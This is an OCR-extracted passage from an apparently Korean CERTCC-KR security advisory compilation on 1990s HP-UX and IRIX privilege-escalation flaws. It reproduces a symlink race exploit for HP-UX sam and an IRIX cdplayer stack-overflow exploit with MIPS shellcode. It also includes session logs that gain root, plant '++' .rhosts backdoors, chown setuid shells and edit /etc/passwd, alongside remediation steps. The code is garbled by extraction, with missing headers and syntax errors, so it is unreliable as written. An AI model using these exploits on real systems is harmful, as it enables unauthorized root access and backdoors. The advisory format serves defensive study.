:wsio:c:c720:1:16/5:::0:CLAIMED:0x8200;0x2f0808a:Built-in SCSI:1 0 0 0 232 24 0

2:::

:wsio:sdisk:1:16/5.2.0:2.0:2:0:0CLAIMED:0x0;0x5800202:TOSHIBA

CD-ROM XM-5401TA:220 178 63 170 0 0

0 0:::

:wsio:sctl:1:16/5.7.0:::0:CLAIMED:0x0:0x0:Initiator:0 0 0 0 0 0 0 0:::

:wsio:lan22:0:16/6:::0:CLAIMED:0x8a00;0x2f0808a:Built-in LAN:2 0 0 0 217 144 0

2:::

:wsio:ps2:0:16/7:::0:CLAIMED:0x8400;0x2f0808a:Built-in Keyboard/Mouse:0 0 0 0

238 91 0 2;

:core:bus_adapter:1:20:::0:CLAIMED:0x8e00;0x310000b:Core I/O Adapter:0 0 0 0 0

0 0 0:::

:wsio:asio0:1:20/2:::0:CLAIMED:0x8c00;0x310808a:Built-in RS-232C:1 0 0 0 227

169 0 2:::

:esia:esia:2:20/5:::0:CLAIMED:0x9000;0x310000b:EISA Bus Adapter :0 0 0 0 0 0 0

0:::

::?:-1:20/5/1:::1:ERROR:0x0;0x0:EISA card::::

::?:-1:20/5/6:::1:ERROR:0x0;0x0:EISA card::::

::?:-1:20/5/7:::1:ERROR:0x0;0x0:EISA card::::

::?:-1:20/5/8:::1:ERROR:0x0;0x0:EISA card::::

:pa:processor:0:62:::0:CLAIMED:0x481;0x4840000:Processor:0 0 0 0 0 0 0 0:::

Page 659: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

:pa:memory:0:63:::0:CLAIMED:0x900;0x5701f01:Memory:0 0 0 0 0 0 0 0:::

══════════════════════════════════

Page 660: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

# ls -lrt /tmp

total 18408

-rw-r-r- 1 root root 295 Jun 16 1996 install.vars

-rw-r-r- 1 root sys 68 Jun 16 1996 sd_ipd_acl.3584

-rw-r-r 1 root root 23 Jun 16 1996 93.sh

-rw-r-r 1 root sys 2520 Jun 26 13:11 1730.ps

-rw-r-r 1 root sys 2581 Jun 26 13:50 1535.ps

-rw-r-r 1 root root 23 Jun 26 13:55 92.sh

-rw-r-r 1 root sys 2551 Jun 26 14:05 1247.ps

-rw-r-r 1 root sys 2033 Jun 27 17:05 1255.ps

-rw-rw-r 1 root sys 310 Jun 27 17:05 sh1116.1

-rw-rw-r 1 root sys 343 Jun 28 12:44 sh116.2

dr-xr-xr-x 3 bin bin 1024 Jun 27 19:02 PHTXT

-r-r-r- 1 root root 0 Jun 28 12:44 llbdbase.dat

-rw-rw-rw 1 root sys 9338880 Oct 15 16:03 perl-5.004.03.tar

drwxr-sr-x 20 31508 tty 4046 Oct 15 16:31 perl-5.004.03

-rw-r-r-r 1 root root 23 Oct 16 16:43 78.sh

-rw-rw-rw- 1 hsim users 0 Oct 16 16:50 fpkg2swpk

lrwxrwxrwx 1 hsim users 8 Oct 16 16:51 fpkg2swpk.log -> /.rhosts

lrwxrwxrwx 1 hsim users 20 Oct 16 16:54 ++ -> /user/sbin/fpkg2swpkg

-rw-r-r- 1 root root 23 Oct 16 17:37 81.sh

dewz------ 2 root root 1024 Oct 16 17:38 . AgentStocks

lrwxrwxrwx 1 kadosu users 11 Oct 17 17:41 sam.1278 -> /check_this

lrwxrwxrwx 1 kadosu users 11 Oct 17 17:41 sam.1277 -> /check_this

lrwxrwxrwx 1 kadosu users 11 Oct 17 17:41 sam.1279 -> /check_this

.

.

(중략)

.

lrwxrwxrwx 1 kadosu users 11 Oct 17 17:41 sam.1325 -> /check_this

# ls -ld /check_this

-rw-rw-rw- 1 root sys 3632 Oct 17 17:41 /check_this

해킹흔적 확인방법

대응방법

Page 661: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

패치설치

- HP-UX 10.x으로 업그레이드한다.

임시조치

Page 662: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련소스

/*

How to use:

Go to your HP 9.04/5 system first.

1. Log into your system as a normal user.

2. Compile the program below. making any changes if you need to. (you

shouldn't need to)

3. Log in on another terminal. become root and insure that sam is not currently

executing

4. As the normal user log in. run the program that you compiled in step

2.

5. On the root log in session. run sam.

6. Lock at the target file.

*/

/* Code to exploit race of sam calling iopasrer.sh

It will usually cause the ioparser.sh script run

by root to follow the sym links created here to

create or truncate TARGET_FILENAME as root.

It ain't pretty and may not always work. but usually does.

Campile on HP90000/[700/800] 9.04[5] with command:

cc racer.c -o racer -Ae

*/

#include

#include

#include

#include

#include

Page 663: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#include

#include#define PROC_TO_LOCK_FOR "sam" /* The process to look

for in ps */

#define TARGET_FILENAME "check_this" /* File that is created or

trunc'ed */

#define NUM_SYM_LINKS 50 /* Increase this

for system that fork() alot */

void main(void)

{

char ps_buf[65536]; /* ps data buffer */

char *line; /* a pointer in to the ps_buf */

char f1[80]; /* buffer space for the sym link name */

char hostname[32]; /* buffer space to hold hostname, duh */

int fd; /* fd is for the pipe */

int ext; /* the extantion to place on the symlink (pid) */

int loop; /* Dumb loop variable. suggestion ??? */

unlink("ps_fifo"); /* Why not */

mkfifo("ps_fifo", S_IRUSRIS_IWUSR); /* Need this */

fd = open("ps_fifo",O_RDONLY|O_NONBLOCK); /* You read pipe */

gethostname(hostname,32); /* gets the hostname like ioparser.sh !!!*/

printf("Looking for process %s. will exploit filename %s₩n", PROC_TO_LOCK_FOR,

TARGET_FILENAME);

/* FIGURE THE REST OUT YOURSELF, IT AIN'T ARTWORK... */

while(1) {

system("/bin/ps -u 0 > ps_fifo);

read(fd,ps_buf,65536);

if(line = strstr(ps_buf,PROC_TO_LOCK_FOR)) != NULL) {

while(*line != '₩n') {

line--;

}

line+=2;

line[5] = '₩0';

ext = atoi(line);

Page 664: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

for(loop=1; loop <= NUM_SYM_LINKS; loop++) {

sprintf(f1,"/tmp/%s.%d, hostname, ext + loop);

symlinks(TARGET_FILENAME, f1);

}

while((access(TARGET_FILENAME, F_OK)) < 0 );

printf("%s has run, wait a few seconds and check %s₩n",

PROC_TO_LOCK, TARGET_FILENAME);

unlink("ps_fifo");

exit();

}

}

}

Page 665: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

setprivgrp-HPUX-함수버그

setprivgrp-HPUX-function bug

Page 666: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

setprivgrp-HPUX-function bug

setprivgrp-HPUX-함수버그

문서번호

KH98-075

문서제목

setprivgrp-HPUX-함수버그(setprivgrp-HPUX-function bug)

관련 응용프로그램

관련 운영체제

HPUX 10.x

취약점 분석

취약점 이해

- setprivgrp()는

-

- setprivgrp() 함수는 구성상의 문제로 인해 임의의 사용자가 임의의 파일을 루트(root)

소유의 파일로 바꿀 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- setprivgrp()의 문제를 이용해 임의의 사용자 소유의 파일을 루트(root) 소유의 파일로

바꿀수 있다.

- 이 문제점은 단순하게는 원래의 파일 소유자의 접근을 막는 서비스거부 공격에 이용되거

나 또는 환경 설정에 따라서는 setuid 설정 프로그램을 루트 소유로 바꿔 새로운 setuid

root 프로그램으로 변경시킬 수 있다.

해킹 소스 프로그램

Page 667: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

$data

Thu Nov 7 11:17:24 PST 1996

$ getprivgrp

global privileges: CHOWN

$ pwd

/home/john

$ id

uid=110(john) gid=999(bla)

$ mkdir bla

$ chown john bla

$ chmod 6777 bla

$ ls -ldi bla

45696 drwsrwsrwx 2 john bla 24 Nov 7 11:12 bla

$ chown root bla

$ ls -ldi tmp

45696 drwsrwsrwx 2 root bla 24 Nov 7 11:12 bla

$ cd bla

$ touch hello

$ ls -ldi hello

45697 -rw-rw-rw- 1 john bla 0 Nov 7 11:12 hello

$ chmod 6777 hello

$ chown root hello

$ ls -ldi hello

45697 -rwxrwxrwx 1 root bla 0 Nov 7 11:12 hello

해킹흔적 확인방법

대응방법

패치 설치

임시 조치

- /etc/privgroup 파일을 작성한 뒤 “-g” 항목을 추가한다. 이로써 setprivgrp이 수행될 때

항상 이 옵션을 사용하도록 하여 위의 문제점을 방지할 수 있다.

Page 668: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

LicenseManager-IRIX-임시파일

LicenseManager-IRIX-tmpfile

Page 669: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

LicenseManager-IRIX-tmpfile

LicenseManager-IRIX-임시파일

문서번호

KH98-076

문서제목

LincenseManager-IRIX-임시파일(LicenseManager-IRIXitmpfile)

관련 응용프로그램

user/etc/LicenseManager

관련 운영체제

IRIX 5.3/6.0

취약점 분석

취약점 이해

- LicenseManager 프로그램은 시스템에 설치된 소프트웨어와 라이센스를 관리하는 프로그

램이다.

- LicenseManager는 환경변수 NETLS_LICENSE_FILE에 지정된 값을 임시파일로 사용한

다.

- 일반 사용자는 이 파일을 시스템파일에 심볼릭링크를 걸어두어 시스템파일을 조작할 수

있다.

취약점 확인 방법

1. setenv로 NETTLS_LICENSEE_FILE 환경변수를 점검한다.

해킹수법 분석

해킹수법 이해

- LicenseManager 프로그램은 환경변수 NETLS_LICENSE_FILE에 지정된 값을 임시파일

로 사용한다. 일반사용자는 이 파일을 시스템파일에 심볼릭링크를 걸어두어 시스템과 일을

조작함으로써 시스템에 불법적인 접근을 할 수 있다.

해킹 소스 프로그램

Page 670: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

IRIS 92% id

uid=111(kadosu) gid=20(user)

IRIS 93% setenv NETLS_LICENSE_FILE / .rhosts

IRIS 94% setenv

HOME=/user/people/kadosu

PATH=:/usr/sbin:/usr/bsd:/sbin:/usr/bin:/bin:/usr/bin/x11

LOGNAME=kadosu

HZ=100

TZ=PST8PDT

TERM=vt100

USER=kadosu

LANG=C

SHELL=/bin/csh

REMOTEHOST=flat

REMOTEHOST=UNKNOWN

MAIL=/usr/mail/kadosu

DISPLAY=flat:0.0

PWD=/bin/...

MSGVERS=1

NOWSGLABEL=1

NOWSGSERVERITY=1

NETLS_LICENSE_FILE=/.rhosts

IRIS 95% /usr/etc/LicenseManager&

[1] 27948

IRIS 96% Warring: Cannot convert string

"-*-screen-medium-r-normal-*-15*" to FontStruct

<GUI STATUS>

1. select NETLS Node-locked

2. Vender Name : whatever

3. Vender ID : ++

4. Product Name : whatever

5. License version : 1.000

6. License version passwd : <space>

7. Expiration 01-jan-0

IRIS 96% ls -ld / .rhosts

-rw-r-r- 1 root user 68 Nov 2 23:43 /.rhosts

IRIS 97% more /.rhosts

Page 671: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#:# "Silicon Graphics, Inc" "shinhoon" "1.000" "Incomplete

++

IRIS 98% uname -a

IRIX IRIS 6.2 03131015 IP22

IRIS 99%

해킹흔적 확인방법

대응방법

패치 설치

- version license_eoe를 License Tools 버전을 확인한 후, 3.0이전 버전일 경우 3.0으로

설치한다.

# version license_eoe

I = Installed, R = Removed

Name Date Description

I license_eoe 02/13/96 License Tools 1.0

I license_eoe.man 02/13/96 License Tools 1.0 Manual Pages

I license_eoeman.license_eoe 02/13/96 License Tools 1.0 Manual Pages

I license_eoe.man.relnotes 02/13/96 License Tools 1.0 Release Notes

I license_eoe.sw 02/13/96 License Tools 1.0 Software

I license_eoe.sw.license_eoe 02/13/96 License Tools 1.0 Software

임시 조치

- 다음과 같이 setuid 설정을 해제한다.

#chmod -s/usr/etc/LicenseManager

Page 672: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

cdplayer-IRIX-임시디렉토리

cdplayer-IRIX-tmpdirectory

Page 673: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

cdplayer-IRIX-tmpdirectory

cdplayer-IRIX-임시디렉토리

문서번호

KH98-077

문서제목

cdplayer-IRIX-임시디렉터리(cdplayer-IRIX-tmpdirectory)

관련 응용프로그램

usr/bin/X11/cdplayer

관련 운영체제

IRIX 5.3/6.2

취약점 분석

취약점 이해

- cdplayer프로그램은 -dbcdir 옵션을 이용하여 root 소유의 임의의 디렉토리를 만들수 있

다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

-cdplayer프로그램은 -dbcdir 옵션을 이용하여 root 소유의 임의의 디렉토리를 만들수 있

으며, 이 디렉토리 아래에 .rhosts 백도어를 만들어 외부에서 패스워드 없는 접근을 허용한

다.

해킹 소스 프로그램

해킹시험 결과

IRIS 85% umask 000

IRIS 86% umask

0

IRIS 87% ls -ld /usr/admin

Cannot access /usr/admin: No such file or directory

IRIS 88% cdplayer -dbcdir /usr/admin

Can't access CD-ROM drive: No such device

Page 674: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

IRIS 89% ls -ld /usr/admin

drwxrwxrwx 2 root user 9 Oct 30 20:23 /usr/admin

IRIS 90% echo "++" > /usr/admin/.rhosts

IRIS 91% ls -ld /usr/admin/.rhosts

-rw-rw-rw- 1 kadosu user 4 Oct 30 20:23 /usr/admin/.rhosts

IRIS 92% chown root.sys /usr/admin/.rhosts

IRIS - Command not found

IRIS 93% /bin/chown root.sys /usr/admin/.rhosts

IRIS 94% ls -ld /usr/admin/.rhosts

-rw-rw-rw- 1 root sys 4 Oct 30 20:23 /usr/admin/.rhosts

IRIS 95% more /usr/admin/.rhosts

+ +

IRIS 96% cat /etc/passwd | grep sysadm

sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh

EZsetup::992:998:System Setup:/var/sysadmdesktop/EZsetup:/bin/csh

IRIS 97% uname -a

IRIX IRIS 6.2 03131015 ip22

IRIS 98% id

uid=1111(kadosu) gid=20(user)

해킹흔적 확인방법

대응방법

패치 설치

임시조치

- 패치가 나오기 전까지 사용 않는다.

# chmos 400 /usr/bin/x11/cdplayer

_ 임시로 루트에게만 실행권한을 준다.

# chmod 500 /usr/bin/X11/cdplayer

Page 675: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

cdplayer-IRIX-오버플로우

cdplayer-IRIX-overflow

Page 676: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

cdplayer-IRIX-overflow

cdplayer-IRIX-오버플로우

문서번호

KH98-078

문서제목

cdplayer-IRIX-오버플로우(cdplayer-IRIX-overflow)

관련 응용프로그램

/usr/sbin/X11/cdplayer

관련 운영체제

IRIX 5.x/6.x

취약점 분석

취약점 이해

- cdplayer 프로그램이 인수길이 검사를 않기에 일반사용자가 스택버퍼오버플로우를 일으

켜 루트의 권한을 획득할 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- cdplayer에 교묘히 설계된 인수를 제공하여 실행시키면 내부 스텍을 오버플로우시킨 후

제공된 이진 코드를 실행하게 된다.

- 이때 cdplayer는 setuid 루트 권한으로 수행중이었기 때문에 제공된 이진 코드도 루트권

한으로 수행된다. 이를 이용하여 임의의 명령을 수행시킬 수 있으며 특히 루트 권한의 쉘을

얻을 수도 있다.

해킹 소스 프로그램

- 첨부

Page 677: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

cc -o cdplayer_ov cdplayer_overflow.c

IRIS 214% id

uid=1111(kadosu) gid=20(user)

IRIS 215% uname -a

IRIX IRIS 6.2 03131015 IP22

IRIS 216% ./cdplayer_ov

stack=0x7fff2ef0, targ_addr=0x7fff3074

# id

uid=0(root) gid=20(user)

#

해킹흔적 확인방법

대응방법

패치 설치

임시 조치

- 임시로 setuid bit를 제거하고 루트에게만 실행권한을 준다.

# chmod 500 /usr/sbin/X11/cdplayer

Page 678: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Explot source

관련 소스

/*Exploit by David Hedley <[email protected]>

*27/5/97

*

*_very_slighty modified by Patrick J..Paulus <[email protected]>

*

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <unistd.h>

#define NUM_ADDRESSES 500

#define BUF_LENGTH 500

#define EXTRA 9000

#define OFFSET 0x180 /*0x184 for lrix 6.x */

#define GP_OFFSET -0x80

#define IRIX_NOP 0x03e0f825 /* move $ra.$ra */

#define PATH_PROG "/usr/bin/X11/cdplayer" /* path & program name

*/

#define PROG "cdplayer" /* program */

#define u_long unsigned

u_long get_sp_code[] = {

0x03a01025, /* move $v0,$sp */

0x03e00008, /* jr $ra */

0x00000000, /* nop */ };

u_long irix_shellcode[]={

0x24041234, /* li $4,0x1234 */

0x2084edcc, /* sub $4,0x1234 */

0x0491fffe, /* bgezal $4,pc-4 */

0x03bd302a, /* sgt $6,$sp,$sp */

0x03bd202a, /* sgt $4,$sp,$sp */

Page 679: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

0x240203ff, /* li $v0, 1023 */

0x03ffffcc, /* syscall 0xfffff */

0x23e40138, /* addi $4,$31,264+48 */

0xa086feff, /* sb $6,-264+7($4) */

0x2084fef8, /* sub $4,264 */

0x20850110, /* addi $5,$4,264+8 */

0xaca4fef8, /* sw $4,-264($5) */

0xaca6fefc, /* sw $4,-260($5) */

0x20a5fef8, /* sub $5,264 */

0x240203f3, /* li $v0, 1011 */

0x03ffffcc, /* syscall 0xfffff */

0x2f62696e, /* "/bin" */

0x2f7368ff, /* "/sh" */ };

char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv) {

char *env[]={NULL};

u_long targ_addr, stack, tmp;

u_long *long_p;

int i, code_length = strlen((char *)irix_shellcode+1;

u_long (*get_sp)(void) = (u_long(*)(void))get_sp_code;

stack = get_sp();

if(stack & 0x80000000) {

printf("Recompile with the '-32' option₩n");

exit(1);

}

long_p = (u_long *) buf;

targ_addr = stack +OFFSET;

if (argc > 1)

targ_addr += atoi(argv[1]);

tmp = (targ_addr + NUM_ADDRDSSES + (BUF_LENGTH-code_length)/2) & ~3;

Page 680: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

while ((tmp & 0xff000000) == 0 ||

(tmp & 0x00ff0000) == 0 ||

(tmp & 0x0000ff00) == 0 ||

(tmp & 0x000000ff) == 0 ||

tmp += 4;

for (i =0; i<NUM_ADDRESSES/(4*sizeof(u_long)); i++) {

*long_p++ = tmp;

*long_p++ = tmp;

*long_p++ = targ_addr;

*long_p++ = targ_addr;

}

for (i = 0; i<(BUF_LENGTH - code_length) / sizeof(u_long); i++)

*long_p++ = IRIX_NOP;

for (i = 0; i< code_length / sizeof(u_long); i++)

*long_p++ = irix_shellcode[i];

tmp = (targ_addr + GP_OFFSET + NUM+ADDRESSES/2) & ~3;

for (i = 0; i< EXTRA / sizeof(u_long); i++)

*long_p++ = (tmp >> 8) | (tmp << 24);

*long_p=0;

printf("stack=0x%x, targ_addr=0x%x₩n", stack, targ_addr);

execle(PATH_PROG, PROG, "-xrm", &buf[2], 0, env);

perror("execl failed");

}

Page 681: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

chost-IRIX-입력해석

chost-IRIX-parsing

Page 682: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

chost-IRIX-parsing

chost-IRIX-입력해석

문서번호

KH98-079

문서제목

chost-IRIX-입력해석(chost-IRIX-parsing)

관련 응용프로그램

/usr/Cadmin/bin/chost

관련 운영체제

IRIX 5.x/6.x

취약점 분석

취약점 이해

- chost 프로그램은 시스템의 자원과 상태를 보여주며, 시스템을 관리한다.

- 일반사용자가 chost 프로그램을 비정상적으로 조작하여 root 소유의 파일을 변경시킬 수

있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- 일반사용자가 chost 프로그램을 비정상적으로 조작하여 root 소유의 파일을 변경시킬 수

있으며, 이를 이용하여 시스템의 passwd 파일 등을 변경하여 시스템에 불법적인 접근을 하

거나, 루트권한을 획득할 수 있다.

해킹 소스 프로그램

해킹시험 결과

1. run /usr/Cadmin/bin/chost

2. go to top menu

3. select tool-primary user information

4. select change information box

5. OK to root passwd

Page 683: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

6. OK to the invalid massage

7. click Cancel

8. double-click any shared resource

9. then, pop up desktopManager window

10. find /etc/passwd

11. edit /etc/passwd, and save (ROOT running!)

12. that's all

해킹흔적 확인방법

대응방법

패치 설치

임시 조치

- 임시로 setuid bit를 제거하고 루트에게만 사용권한을 준다.

# chmod 500 /usr/Cadmin/bin/chost

Page 684: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

colorview-IRIX-입력해석

colorview-IRIX-parsing

Page 685: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

colorview-IRIX-parsing

colorview-IRIX-입력해석

문서번호

KH98-080

문서제목

colorview-IRIX-입력해석(colorview-IRIX-parsing)

관련 응용프로그램

/usr/sbin/colorview

관련 운영체제

IRIX 5.x/6.x

취약점 분석

취약점 이해

- colorview 프로그램은 X11의 화면색 목록을 보여준다.

- 일반사용자가 colorview 프로그램을 사용하여 root 소유의 파일을 읽을 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- 일반사용자가 colorview 프로그램을 사용하여 root 소유의 파일을 읽을 수 있으며,

이 정보를 악용할 수 있다.

해킹 소스 프로그램

해킹시험 결과

IRIS 172% ls -ld /usr/sbin/colorview

-rwsr-xr-x 1 root sys 377720 jun 25 21:53

/usr/sbin/colorview

IRIS 173% ls -ld /var/mail/root

-rw-rw--- 1 root mail 560 jun 25 23:43 /var/mail/root

IRIS 174% id

uid=1111(kadosu) gid=20(user)

Page 686: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

IRIS 175% /usr/sbin/colorview -text /var/mail/root

IRIS 176% ps

PID TTY TIME CMD

21222 ttyq4 0:01 csh

23543 ttyq4 0:00 ps

IRIS 177% uname -a

IRIX IRIS 6.2 03131015 IP22

IRIS 178%

해킹흔적 확인방법

대응방법

패치 설치

임시 조치

- 임시로 setuid bit를 제거하고, 루트에게만 사용권한을 준다.

# chmod 500 /usr/sbin/colorview

Page 687: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

csetup-IRIX-오버플로우

csetup-IRIX-tmpfile

Page 688: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

csetup-IRIX-tmpfile

csetup-IRIX-오버플로우

문서번호

KH98-081

문서제목

csetup-IRIX-임시화일(csetup-IRIX-tmpfile)

관련 응용프로그램

/usr/Cadmin/bin/csetup

관련 운영체제

IRIX 5.x/6.0/6.1/6.2

취약점 분석

취약점 이해

- csetup은 시스템과 네트워크 셋업과 설정을 하는 프로그램이다.

- csetup 명령은 setuid root 프로그램(setuid 비트가 설정된 루트소유의 파일)이다.

- 이 프로그램은 수행 시 root 소유의 /var/tmp/csetupLog 라는 임시파일을 생성한다.

이 파일을 시스템파일과 심볼릭 링크 해둔 상태에서 이 프로그램 수행 시 해당 시스템 파일

을 손상시킬 수 있다.

취약점 확인 방법

1. /var/tmp/csetupLpg 파일의 심볼릭링크 여부 조사

해킹수법 분석

해킹수법 이해

- csetup 프로그램은 수행시 root 소유의 /var/tmp/csetupLog 라는 임시파일을 생성하는

데, 이 파일을 시스템파일과 심볼릭 링크 해둔 상태에서 이 프로그램 수행 시 해당 시스템

파일을 손상시키거나, 불법적인 접근을 할 수 있다.

해킹 소스 프로그램

해킹시험 결과

- 첨부

Page 689: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

대응방법

패치 설치

- IRIX 패치 # 1751~1754를 설치한다.

임시 조치

- 임시로 setuid bit를 제거한다.

# chmod u-s /usr/Cadmin/bin/cser

Page 690: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련소스

IRIS 101% set path = (/usr/sbin/usr/bsd/sbin/usr/bin/bin/etc

/usr/etc/usr/bin/X11/usr/people/kadosu)

IRIS 108% set

argv ()

cwd /usr/people/kadosu

history 100

home /

path (/usr/sbin/usr/bsd/sbin/usr/bin/bin/etc/usr/etc

/usr/bin/X11/usr/people/kadosu)

prompt IRIS !%

shell /bin/csh

status 0

term iris-ansi

user root

IRIS 109% cd/usr/people/kadosu

IRIS 110% ls

.cddb .cshrc .desktop-IRIS .login .profile

IRIS 111% cp /bin/sh Remote

IRIS 114% ls -ld Remote

-rwxr-xr-x 1 kadosu user 198788 Oct 31 00:05 Remote

IRIS 113% chown root Remote

IRIS 114% ls -ld Remote

-rwxr-xr-x 1 root user 198788 Oct 31 00:05 Remote

IRIS 118% ls -ld /usr/sbin/sgihelp

-rwxr-xr-x 1 root sys 3437480 Oct 30 23:57 /usr/sbin/sgihelp

IRIS 119% ln -s /usr/sbin/sgihelp/var/tmp/csetupLog

IRIS 120% ls -ld /var/tmp/csetupLog

lrwxr-xr-x 1 kadosu user 17 Oct 31 00:11

